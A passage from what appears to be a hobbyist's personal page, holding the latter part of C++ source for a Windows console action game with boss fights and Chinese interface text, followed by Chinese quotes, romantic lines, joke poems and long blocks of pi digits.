        if(Bwhat1==4){Bgo1[1]++;if(Bgo1[1]<=8){Setpos(Bgo1[2],Bgo1[3]);if(Bgo1[1]==1)cout<<" ";else if(Bgo1[1]>1&&Bgo1[2]==20) cout<<"==";else cout<<"  ";Bgo1[2]--;Setpos(Bgo1[2],Bgo1[3]);int r=rand()%4;if(r%2==0) Color(6);else Color(9);if(r<2) cout<<") ";else cout<<"】";Color(0);}if(Bgo1[1]==6) Bgo1[5]=X,Bgo1[6]=Y;if(Bgo1[1]==11){Map(0,(bool)Kill);Setpos(Bgo1[5],Bgo1[6]+1),cout<<"  ";Setpos(Bgo1[5],Bgo1[6]-1),cout<<"  ";Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"  ";Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"  ";int bx,by,bvx=Bgo1[2]-Bgo1[5],bvy=Bgo1[3]-Bgo1[6];Color(6);int i=0;while(1){bx=Bgo1[2]-i*bvx/30.0;by=Bgo1[3]-i*bvy/30.0;if(bx<=5||bx>=30||by<0||by>=29) break;Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;i++;}Color(0);Map(-1,0);Chang1}}
        if(Bwhat1==5){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;X1:Bvx1=(rand()%101-20)/20.0;Bvy1=(rand()%101-20)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||abs(Bvx1-vx)<=1||abs(Bvy1-vy)<=1)goto X1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==6){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%10==0){By1-=1;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=9;X30:B[br].vy=1;B[br].life=1;}if(Bgo1[1]>31) Chang1}
    }
    void Boss2(){
        for(int j=0;j<20;j++)if(abs(Bx2-I[j][0])<2&&By2-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        Bx2-=Bvx2;By2-=Bvy2;
        if(Bwhat2==0){X21:Bwhat2=rand()%7;if(Bwhat2==2){X31:for(int i=1;i<=3;i++){Bgo2[i*2+1]=rand()%28+1,Bgo2[i*2]=rand()%25+5;if((abs(Bgo2[i*2]-Bx2)<=2&&abs(Bgo2[i*2+1]-By2)<=2)||(abs(Bgo2[i*2]-X)<=2&&abs(Bgo2[i*2+1]-Y)<=2))goto X31;}if(Bgo2[2]==Bgo2[4]||Bgo2[2]==Bgo2[6]||Bgo2[6]==Bgo2[4]||Bgo2[5]==Bgo2[3]||Bgo2[3]==Bgo2[7]||Bgo2[5]==Bgo2[7]) goto X31;}if(Bwhat2==3){Bgo2[2]=rand()%2;}if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bvy2=-1.5;Bvx2=-0.5;}}
        if(Bwhat2==1){Bgo2[1]++,Bgo2[2]++;int R=rand()%(5-Bgo2[1]),r=rand()%(30-Bgo2[2]);if(Out2) R=0;if(R==0) {int vx=Bvx2,vy=Bvy2;Bgo2[1]=0;Bvx2=(rand()%101-20)/50.0;Bvy2=(rand()%101-20)/50.0;if(Bgo2[3]<=2) Bvx2*=-1;if(Bgo2[3]%2==1) Bvy2*=-1;if(Out2) r=0;} if(r==0) Chang2 }
        if(Bwhat2==2){Bgo2[1]++;float bx,by,bvx,bvy;if(Bgo2[1]<21){for(int i=1;i<=3;i++){bvx=Bgo2[i*2]-Bx2,bvy=Bgo2[i*2+1]-By2;if(Bgo2[1]<=10){Setpos(Bx2+(Bgo2[1]-1)*bvx/10.0,By2+(Bgo2[1]-1)*bvy/10.0);if(abs(Bx2+(Bgo2[1]-1)*bvx/10.0-20)<0.5)cout<<"==";else cout<<"  ";bx=Bx2+Bgo2[1]*bvx/10.0;by=By2+Bgo2[1]*bvy/10.0;Setpos(bx,by);}else Setpos(Bgo2[i*2],Bgo2[i*2+1]);int r=rand()%4;if(r%2==0) Color(3);else Color(10);if(r<=1) cout<<"×";else cout<<"+";Color(0);}}if(Bgo2[1]==21){Map(0,(bool)Kill);Color(3);int j=0;for(int j=0;j<=30;j++)for(int i=1;i<=3;i++)for(int k=1;k<=4;k++){if(k==1) bvx=j,bvy=0;if(k==2) bvx=-j,bvy=0;if(k==3) bvx=0,bvy=j;if(k==4) bvx=0,bvy=-j;bx=Bgo2[i*2]+bvx,by=Bgo2[i*2+1]+bvy;if(bx<=5||bx>=30||by<0||by>=30) {continue;}Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);Map(-1,0);Chang2}}
        if(Bwhat2==3){Bgo2[1]++;if(Bgo2[1]<=18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4==0)Bgo2[3]=!Bgo2[3];if(Bgo2[1]%6<3)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(X-3,Y),cout<<"▼",Setpos(X+3,Y),cout<<"▲",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);if(Bgo2[3]==1) Setpos(X,Y-3),cout<<" ",Setpos(X,Y+3),cout<<" ",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);Color(0);}if(Bgo2[1]==18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";}if(Bgo2[1]>18&&Bgo2[1]<=25){Bgo2[3]=Bgo2[2];if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4<2)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"▼",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"▲";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+3),cout<<" ";Color(0);}if(Bgo2[1]==25){if(Bgo2[2]==0){Color(3);for(int i=4;i<=29;i++){Setpos(i,Bgo2[5]),cout<<"█";Bbl++;Panboss(i,Bgo2[5]);Bway[Bbl][0]=i;Bway[Bbl][1]=Bgo2[5];}}if(Bgo2[2]==1){Color(3);for(int i=0;i<=28;i++){Setpos(Bgo2[4],i),cout<<"█";Bbl++;Panboss(Bgo2[4],i);Bway[Bbl][0]=Bgo2[4];Bway[Bbl][1]=i;}}Chang2}}
        if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bgo2[1]++;if(By2>27)Bvy2=0;if(Bx2>23)Bvx2=0;if(Bgo2[1]>13&&Bgo2[1]%3==0){float t=By2-Y,g=0.35;if(Boss==6) t/=2.0;CpGuai(Bwhat2+2,Bx2,By2,(Bx2-X)/t*1.0+(t-1)*g/2.0,1);}if(Bgo2[1]>20) Chang2}
    }
    void Boss3(){
        #define Bean br++;B[br].what=13;B[br].x=Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;
        for(int j=0;j<20;j++)if(abs(Bx3-I[j][0])<2&&By3-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        Bx3-=Bvx3;By3-=Bvy3;
        if(Bwhat3<=8){if(Bx3>X&&Bvx3<1.5) Bvx3+=0.3;if(Bx3<X&&Bvx3>-1.5) Bvx3-=0.3;}
        if(Bwhat3==0){X22:Bwhat3=rand()%12;if(Bwhat3==11&&abs(Bx3-20)<=1)goto X22;if(Bwhat3==11)Bgo3[2]=rand()%5;}
        if(Bwhat3==1){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3>=2&&Bwhat3<=6){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].what=11+Bwhat3;B[br].vy=0.5+(rand()%100)/80.0;if(Bwhat3==5)B[br].vy=B[br].vy*3/4.0;B[br].life=1;Chang3}}
        if(Bwhat3==7){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==8){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==9){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8){Bean}if(Bgo3[1]>=8)Chang3}
        if(Bwhat3==10){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8||Bgo3[1]==10||Bgo3[1]==12){Bean}if(Bgo3[1]>=12)Chang3}
        if(Bwhat3==11){Bvx3=0;Bgo3[1]++;if(Bgo3[1]>=8)for(int i=1;i<=4;i++){br++;B[br].what=80+100*Bgo3[2]+Bgo3[1]*4+i;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}if(Bgo3[1]>=20){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}Chang3}}
    }
    void Ball(int ball){
        if(ball==1){if(Fir<3&&T%8==0) Fir++;if(Fir>0){br++;B[br].what=-13;B[br].x=X;B[br].y=Y+rand()%3-1;B[br].life=1;if(Dis<=30) B[br].a=Disb,B[Disb].a=1,Fir--;else if(Boss!=0) B[br].a=13880086,Fir--;else if(Dis!=13880087) B[br].a=Disb,B[Disb].a=1,Fir--;else if(Dis1!=13880087) B[br].a=Disb1,B[Disb1].a=1,Fir--;else B[br].life=0;Dis=Dis1=13880087;}}
        if(ball==2){if(T%4==0)ib=(ib+1)%20,I[ib][1]=Y-2;if(T%16==0)I[ib][0]=X;if(T%16==4)I[ib][0]=X-1;if(T%16==8)I[ib][0]=X+1;if(T%16==12)I[ib][0]=X-2;if(T%12==9)I[ib][0]=X+2;if(Water==1){for(int i=X-6;i<=X+6;i++)ib=(ib+1)%20,I[ib][0]=i,I[ib][1]=Y-2-0.5*abs(i-X);}}
        if(ball==3){if(Wind>5){if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind<5){if(Y>Ding-1)Vy=-5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind==5){if(Boss==2) Ding=12.25;else Ding=6.25;if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 3F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==4){if(Thun==1){if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 9F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==5){system("cls"); Color(5);Setpos(10,10);cout<<"新天赋!";Y:int rr=rand()%4+2;Setpos(12,10);if(rr==Ren) goto Y;if(rr==2)cout<<"瞬跳";if(rr==3)cout<<"空之舞";if(rr==4)cout<<"三段跳";if(rr==5)cout<<"反重力跳跃";Setpos(14,10);cout<<"当前天赋:";if(Ren==1)cout<<"小无敌";if(Ren==2)cout<<"瞬跳";if(Ren==3)cout<<"空之舞";if(Ren==4)cout<<"三段跳";if(Ren==5)cout<<"反重力跳跃";Setpos(16,10);cout<<"换否?(y/n)";G:char g=_getch();if(g=='y')Ren=rr;else if(g!='n')goto G;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");}
        if(ball==6){Color(4);for(float i=1;i<=Bblo;i+=Bblomax/20.0)cout<<"▄";Color(0);cout<<' '<<Bblo<<"                              ";Color(0);}
        if(ball==7){Color(1);if(Win==7&&T%6<3)Color(3);for(float i=1;i<=Blo;i+=Blomax/20.0)cout<<"▄";Color(0);if(Win==7&&T%6<3)Color(3);printf(" %0.1f                              ",Blo);}
    }
    int main(){
        system("mode con cols=60 lines=37");CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);srand((unsigned)time(NULL));
        Win=0;Ren=1;Lv=1;Blo=Blomax=100;Expmax=300;Hui=15;X=18,Y=6;
        ReStart:system("cls");memset(B,0,sizeof(B));memset(I,-1,sizeof(I));T=0;bl=0;br=-1;Upt=0;
        Start:Blo=Blomax * 100;Ding=6.25;
        memset(Bgo1,0,sizeof(Bgo1));memset(Bgo2,0,sizeof(Bgo2));memset(Bgo3,0,sizeof(Bgo3));
        if(Win%2==0) T=0;if(Win%2==0&&D==0){if(Win>0)Ball(5);Boss=0;lL:L=rand()%4+1;for(int i=0;i<=Win/2-1;i++)if(L==Ll[i]) goto lL;Ll[Win/2]=L;}if(Win%2==1&&D==0){if(Win==7)Boss=6,T=0,Blomax+=100;else{bl:Boss=rand()%3+1;for(int i=0;i<=3;i++)if(Boss==Bl[i]) goto bl;}Bl[Win/2]=Boss;Bwhat1=Bwhat2=Bwhat3=0,Bx1=10,By1=20,Bx2=15,By2=20,Bx3=21,By3=20;system("color 4C");Sleep(20);system("color 0F");Map(0,1);Sleep(1000);}if(Win%2==1){Bblomax=500+(Win/2)*500;Bblo=Bblomax;if(Boss==2) Ding=12.25;}
        while(1){
            T++;
            if(Wind==0){if(GetAsyncKeyState(VK_LEFT)&0x8000) Vy=-(10-abs(Ding-Y)*1.5)/20.0;if(GetAsyncKeyState(VK_RIGHT)&0x8000) Vy=(10-abs(Ding-Y)*1.5)/20.0;}if(GetAsyncKeyState(VK_UP)&0x8000&&u1==0) {u1++;if(Down==1){Down=0;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=18,Li=5;else Vx=7,Vy=0.3;}else if(Up==0&&Wind==0) {Down=0;Up=1;if(Ren==2)Map(-1,0),Vx=1,X=10,Map(0,3),Li=5;else Vx=2,Vy=0.1;}else if(Up==1&&Wind==0) {Down=0;Up=2;if(Ren==2)Map(-1,0),Vx=1,X-=6,Map(0,3),Li=5;else Vx=1.5,Vy=0.1;}else if(Ren==3&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1;Vy=0.5;Upt=30;}else if(Ren==4&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1.8;Vy=0.1;}}if(GetAsyncKeyState(VK_DOWN)&0x8000&&u2==0) {u2++;if(Down==1&&Ren==5){Down=2;Up=0;Vx=-1.7;}else {Down=1;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=22,Map(0,3),Li=5;else {if(Upt!=0) Map(-1,0),Upt=0;Vx=-7;}}}if((GetAsyncKeyState(VK_UP)&0x8000) ?0:1) u1=0;if((GetAsyncKeyState(VK_DOWN)&0x8000) ?0:1) u2=0;if(kbhit()){char g=_getch();if(g==' ') Sleep(100),Setpos(4,1),Sy++,system("pause");}if(Sy==1) Setpos(4,1),printf("                           "),Sy--;
            if(Drug==0) Blo=fmin((float)Blomax,Blo+Hui/100.0);else if(T%10==0)Blo--;if(T%20==0) {if(Kill!=0) Kill=0;if(Lvl!=0) Lvl=0;}if(Killb>0) Killb--;if(Li>0) Li--;if(Ice>0) Ice--;if(Drug>0) Drug--;if(Magne>0) Magne--;
            if(Fire>0) Ball(1),Fire--;if(Water>0) Ball(2),Water--;if(Wind>0) Ball(3),Wind--;if(Thun>0) Ball(4),Thun--;
            if(Boss==0) NorGuai(L,T%1500);RandGood();if(T%20==1)Exp++;
            if(T%50==1){Exp++;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");if(Win==0&&T<300){Setpos(4,6);cout<<"↑/↓ 跳跃/下翻,←→ 些微移动(松手即返回)"; Setpos(8,6);cout<<"球可以开启特殊效果,经验积满(300)可提升级别。";Setpos(8,6);cout<<"打败 7 波即胜利,打败 BOSS 有新天赋。";Setpos(10,15);cout<<"空格可以暂停。";}}
            Map(-1,0);
            if(Boss==1) Boss1();if(Boss==2) Boss2();if(Boss==3) Boss3();if(Boss==6) Boss1(),Boss2(),Boss3();
            Move();Map(0,(bool)Kill);Color(0);
            Setpos(1,1);Blo=fmin(Blo,(float)Blomax);if(Boss==0)cout<<"血量: "<<(int)Blo<<"  ";Color(0);Setpos(1,9),cout<<"死亡次数: "<<D<<"  ";Setpos(2,1);Exp=min(Exp,Expmax);if(Exp>=Expmax)Exp=0,Lv++,Lvl++,Hui++,Blomax+=5;if(Lvl>0)Color(5);cout<<"级别: "<<Lv;Color(0);Setpos(2,9);cout<<"经验: "<<Exp<<"  ";if(Boss>0) Setpos(3,1),cout<<"血量     : ",Ball(7);if(Boss>0&&Boss!=6) Setpos(4,1),cout<<"怪物血量: ",Ball(6);if(Boss==6) Setpos(1,9),printf("时间: %0.1f s  ",T/15.0);
            if(Win==0) Sleep(55);if(Win==1) Sleep(50);if(Win==2) Sleep(35);if(Win==3) Sleep(40);if(Win==4) Sleep(25);if(Win==5) Sleep(30);if(Win==6) Sleep(20);if(Win>=7) Sleep(17);
            if(Boss==3&&Bblo<=0){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}}
            if((Win%2==0&&T>=1400)||(Win%2==1&&Bblo<=0)||(Win==7&&T>=450)||Blo<=0) {Map(-1,0);break;}
        }
        if(Blo<=0){
            Sleep(1000);
            D++;
            system("color 7F");
            Setpos(15,11);
            Color(4);
            cout<<"GAME OVER...";
            Sleep(2000);
            goto ReStart;
        }
        else if(Win==6){
            system("color 7F");
            Setpos(15,11);
            Color(4);
            cout<<"坚持30秒 !";
            Sleep(2000);
            Setpos(30,0);
            Win++;
            D=0;
        }
        else if(Win==7){
            Sleep(1000);
            system("color 6E");
            Setpos(15,11);
            Color(5);
            cout<<"YOU WIN !";
            Sleep(2000);
            Setpos(30,0);
            return 0;
        }else Sleep(1000),Win++,D=0;
        goto Start;
    }
    

    Copy

    倘若世间还有爱情,那我已看破红尘

    听天,不会由命

    我们一无所有,我们巍然矗立

    孤独,是双刃的锋芒

    我们未知拂晓何方,我们唯有彻夜前行

    如有一味绝境,非历十方生死

    但问 千山风雪

    可敢 应我一剑

    一念通天 神魔无惧

    这里是,为我所统帅的战场

    笑万仞寒山,不敌我身作剑,令四海宇内,重燃祝融之火

    此剑 当判 诸神谢罪 此剑 当斩 群魔授首

    此战 天地莫挡 且守 山海无恙

    森罗列阵,日月转轮

    燃此不屈魂 铸我手中刃

    百练之志,当我问鼎,天地吾心,日月重光

    饮冰而行,浴火重生

    侯非侯,王非王

    千盛万骑走北邙

    随它陨落 随它沉沦 引它重返千年之盛

    能提起沉重剑刃的手,握不住飞舞飘落的花

    吾持剑锋,以铸长城

    天地无心日月重光,天地不仁大道无光

    我就是太阳

    我即是黑夜

    无数次在人世的焦土上祈望太阳,我也曾在人焦土上幻想太阳

    越是没有武器越要变的强大

    天生吾族岂可轻弃,击破宿命的无常

    天开见光流血砰砰,击破宿命的无常我与我剑斩黄泉 我心如冰剑如霜此天命也

    一念通天神魔无惧,如有一味绝境非历十方生死。

    雷电惧散看看像我这样的凡人都怎么肖灭神魔,如果害怕就跑吧

    百炼之志当我问鼎,去哪里寻找救赎此界的力量

    去哪里寻找重造此界的力量

    我早就无路可退了

    此剑当斩群魔兽首

    此剑当叛诸神谢罪

    光明始于先驱者,光明神已陨落

    现在由光明引领我照彻苦难的世间

    化神为佑沐临绝土,独倚白夜破魔为生

    锋刃铸就信仰奉承暗与光,像面对黑夜一样面对死亡

    fjy I LOVE YOU 目光所至,心之所向 风吹红了少女的脸,却吹不动少年的心 你永远不知道那些一见你就笑的人有多喜欢你 岁月不识向南意,我与东风皆多情 山有木兮木有枝,心悦君兮君不知 青涩不如当初,聚散不由你 红楼隔雨相望冷 怕我爱的太明显,又怕你假装看不见

    我班女生一回头,吓死河边一头牛。

    我班女生二回头,长江黄河水倒流。

    我班女生三回头,地球都要倒着走。

    我班女生四回头,彗星就要撞地球。

    我班女生五回头,飞沙走石鬼见愁。

    我班女生六回头,企鹅都向赤道走。

    我班女生七回头,男人单身有理由。

    我班女生八回头,二氧化碳变汽油。

    我班女生九回头,火车开到沟里头。

    我班女生十回头,宇宙从此无地球。

    枯藤老树昏鸦,你家到底在哪啊?

    夕阳西下,肠子断了的人在天涯。

    春眠不觉晓,处处蚊子咬。

    打上敌敌畏,不知死多少。

    你是风儿我是沙,我是叶儿你是花,你乖别人都在夸,没你我会去网吧?王者吃鸡样样会,想你念你天也塌,游戏过后桌上趴,老师校长揪回家。

    天生我材必有用,抬起就做顶梁柱。

    水至清则无鱼,人之贱则无敌。

    image

    image

    image

    image

    ~我爱背圆周率~

    圆周率:

    3. 
    
    1415926535 8979323846 2643383279 5028841971 6939937510 5820974944 5923078164 0628620899 8628034825 3421170679 8214808651 3282306647 0938446095 5058223172 5359408128 4811174502 8410270193 8521105559 6446229489 5493038196 4428810975 6659334461 2847564823 3786783165 2712019091 4564856692 3460348610 4543266482 1339360726 0249141273 7245870066 0631558817 4881520920 9628292540 9171536436 7892590360 0113305305 4882046652 1384146951 9415116094 3305727036 5759591953 0921861173 8193261179 3105118548 0744623799 6274956735 1885752724 8912279381 8301194912 9833673362 4406566430 8602139494 6395224737 1907021798 6094370277 0539217176 2931767523 8467481846 7669405132 0005681271 4526356082 7785771342 7577896091 7363717872 1468440901 2249534301 4654958537 1050792279 6892589235 4201995611 2129021960 8640344181 5981362977 4771309960 5187072113 4999999837 2978049951 0597317328 1609631859 5024459455 3469083026 4252230825 3344685035 2619311881 7101000313 7838752886 5875332083 8142061717 7669147303 5982534904 2875546873 1159562863 8823537875 9375195778 1857780532 1712268066 1300192787 6611195909 2164201989
    
    3809525720 1065485863 2788659361 5338182796 8230301952 0353018529 6899577362 2599413891 2497217752 8347913151 5574857242 4541506959 5082953311 6861727855 8890750983 8175463746 4939319255 0604009277 0167113900 9848824012 8583616035 6370766010 4710181942 9555961989 4676783744 9448255379 7747268471 0404753464 6208046684 2590694912 9331367702 8989152104 7521620569 6602405803 8150193511 2533824300 3558764024 7496473263 9141992726 0426992279 6782354781 6360093417 2164121992 4586315030 2861829745 5570674983 8505494588 5869269956 9092721079 7509302955 3211653449 8720275596 0236480665 4991198818 3479775356 6369807426 5425278625 5181841757 4672890977 7727938000 8164706001 6145249192 1732172147 7235014144 1973568548 1613611573 5255213347 5741849468 4385233239 0739414333 4547762416 8625189835 6948556209 9219222184 2725502542 5688767179 0494601653 4668049886 2723279178 6085784383 8279679766 8145410095 3883786360 9506800642 2512520511 7392984896 0841284886 2694560424 1965285022 2106611863 0674427862 2039194945 0471237137 8696095636 4371917287 4677646575 7396241389 0865832645 9958133904 7802759009
    
    9465764078 9512694683 9835259570 9825822620 5224894077 2671947826 8482601476 9909026401 3639443745 5305068203 4962524517 4939965143 1429809190 6592509372 2169646151 5709858387 4105978859 5977297549 8930161753 9284681382 6868386894 2774155991 8559252459 5395943104 9972524680 8459872736 4469584865 3836736222 6260991246 0805124388 4390451244 1365497627 8079771569 1435997700 1296160894 4169486855 5848406353 4220722258 2848864815 8456028506 0168427394 5226746767 8895252138 5225499546 6672782398 6456596116 3548862305 7745649803 5593634568 1743241125 1507606947 9451096596 0940252288 7971089314 5669136867 2287489405 6010150330 8617928680 9208747609 1782493858 9009714909 6759852613 6554978189 3129784821 6829989487 2265880485 7564014270 4775551323 7964145152 3746234364 5428584447 9526586782 1051141354 7357395231 1342716610 2135969536 2314429524 8493718711 0145765403 5902799344 0374200731 0578539062 1983874478 0847848968 3321445713 8687519435 0643021845 3191048481 0053706146 8067491927 8191197939 9520614196 6342875444 0643745123 7181921799 9839101591 9561814675 1426912397 4894090718 6494231961
    
    5679452080 9514655022 5231603881 9301420937 6213785595 6638937787 0830390697 9207734672 2182562599 6615014215 0306803844 7734549202 6054146659 2520149744 2850732518 6660021324 3408819071 0486331734 6496514539 0579626856 1005508106 6587969981 6357473638 4052571459 1028970641 4011097120 6280439039 7595156771 5770042033 7869936007 2305587631 7635942187 3125147120 5329281918 2618612586 7321579198 4148488291 6447060957 5270695722 0917567116 7229109816 9091528017 3506712748 5832228718 3520935396 5725121083 5791513698 8209144421 0067510334 6711031412 6711136990 8658516398 3150197016 5151168517 1437657618 3515565088 4909989859 9823873455 2833163550 7647918535 8932261854 8963213293 3089857064 2046752590 7091548141 6549859461 6371802709 8199430992 4488957571 2828905923 2332609729 9712084433 5732654893 8239119325 9746366730 5836041428 1388303203 8249037589 8524374417 0291327656 1809377344 4030707469 2112019130 2033038019 7621101100 4492932151 6084244485 9637669838 9522868478 3123552658 2131449576 8572624334 4189303968 6426243410 7732269780 2807318915 4411010446 8232527162 0105265227 2111660396
    
    6655730925 4711055785 3763466820 6531098965 2691862056 4769312570 5863566201 8558100729 3606598764 8611791045 3348850346 1136576867 5324944166 8039626579 7877185560 8455296541 2665408530 6143444318 5867697514 5661406800 7002378776 5913440171 2749470420 5622305389 9456131407 1127000407 8547332699 3908145466 4645880797 2708266830 6343285878 5698305235 8089330657 5740679545 7163775254 2021149557 6158140025 0126228594 1302164715 5097925923 0990796547 3761255176 5675135751 7829666454 7791745011 2996148903 0463994713 2962107340 4375189573 5961458901 9389713111 7904297828 5647503203 1986915140 2870808599 0480109412 1472213179 4764777262 2414254854 5403321571 8530614228 8137585043 0633217518 2979866223 7172159160 7716692547 4873898665 4949450114 6540628433 6639379003 9769265672 1463853067 3609657120 9180763832 7166416274 8888007869 2560290228 4721040317 2118608204 1900042296 6171196377 9213375751 1495950156 6049631862 9472654736 4252308177 0367515906 7350235072 8354056704 0386743513 6222247715 8915049530 9844489333 0963408780 7693259939 7805419341 4473774418 4263129860 8099888687 4132604721
    
